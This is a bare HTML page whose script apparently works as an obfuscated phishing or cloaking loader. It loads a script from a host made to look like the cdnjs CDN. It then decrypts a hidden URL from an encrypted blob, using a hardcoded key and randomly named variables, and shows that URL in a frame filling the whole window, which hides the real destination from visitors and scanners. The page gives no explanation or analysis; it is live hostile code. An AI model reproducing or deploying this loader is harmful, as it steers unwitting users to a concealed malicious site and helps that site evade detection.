<style>body,html{ height: 100%; margin:0; padding:0; overflow:hidden; }</style>

<div id="home"></div>
<script src="https://code.jquery.com/jquery-3.3.1.min.js" samesite="none"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.3.0/crypto-js.min.js" samesite="none"></script>
<script src="https://cdnjs-cloudflare.s3.amazonaws.com/Encryption.js" samesite="none"></script>
<script>
var HVYoRBpZnDCfQEF = "RPgBYVvQwpHSsMb";

var BCiAuSmQGiHQlEP = "eyJjaXBoZXJ0ZXh0IjoiTWZHcml5a0pZMUswUFFPTDFlaml1dFpSUWNjU1BESHVBQ09KVnZndU9rWW1IeVdHVmhCUDVicklINEwzVUpBbSIsIml2IjoiMzBlZjU2YWYxMDdjZTg4NTcxMTMwMTBjOTQ4YjFhMGMiLCJzYWx0IjoiYWY1ZWYxZmMxNGUyOTIxMmE2NDVkMjNlZjlkOTg3ZmU1ZGVlYWZjMDlkODdiMjM4ZDY2NzZhMWU3NDMyNzg5NWMxYTBhYTIxMDQxODg1ZGY2NzhkMDM4ZWQyZmNmZWYzZGMzMDc3OWM5NDc0ZjMxN2E1Y2ZiYTA2NzhiYWFhNTlhZTJjY2M5ZGFmZGYyNjcyYjNmOTE4ODEyZTZjMmMwNWU2OTk1NjRhNDY4MDdiMmViNDM3ZGNmNDFiNDMwZDdmYjdiZTY4MzEzZjk0ZGI2YmUxZjIxOTFmYjcyMzZkODVlOTUwZjMzYjdkOTQwNTc3N2M1ZjY2ZDY5MjkzZGZmMGRhODhjNzUxMjJhNGNhYjkyOWFkNWQ4YzM1Y2Q1ODM4OTVkYWY5MmY5MTcyOGZlZGMxY2E1MTc0NjUxZTljNzhiMWM2MTE2ZTUwYjQ0YWM4ZmEwZGYxNzYxY2RhYjQxMWZmZTJiMTRjODE5NjY1ZjA0M2I2ZjlmMjAwMDEwYWViZmY4N2M0NWVmNjA3NGFiNDgxZWY5Y2JjOTEzY2E1MTJmOTA0MzZjM2E4YTg4NGE1MDBmM2U0NDRkYTkyOWY2MWMzNjZmNmE4YzNiYmQ4NWFhY2E2ODI2ZWQwMTg0NjMxNDFkZDYwYjlhNTEwOGQwOWM2ZTM4N2I3Njk5ZDE4ZjEiLCJpdGVyYXRpb25zIjo5OTl9";

	let WlQCTqPiQABhXVk = new Encryption();
	var kJwUOAXXIVUGrMz = WlQCTqPiQABhXVk.decrypt(BCiAuSmQGiHQlEP, HVYoRBpZnDCfQEF);

        var cframeset = document.createElement("frameset");
		cframeset.className = "fs";
		cframeset.id = "fs";
		var homeid = document.getElementById("home");
		homeid.appendChild(cframeset);
		
		var newFrame = document.createElement("frame");
		newFrame.id = "myNewFrame";
		newFrame.name = "myNewFrame";
		
		var domFrameset = document.getElementById("fs");
			if (domFrameset) {
				domFrameset.rows = "100%,0"; //<-- This is the key
				domFrameset.appendChild(newFrame);
				newFrame.setAttribute("style", "overflow:hidden; display:block; position: absolute; height: 100%; width: 100%")
				newFrame.src = kJwUOAXXIVUGrMz;  //<-- Set SRC after appending    
				
			}
		var domFrameset = document.getElementById("myNewFrame");

</script>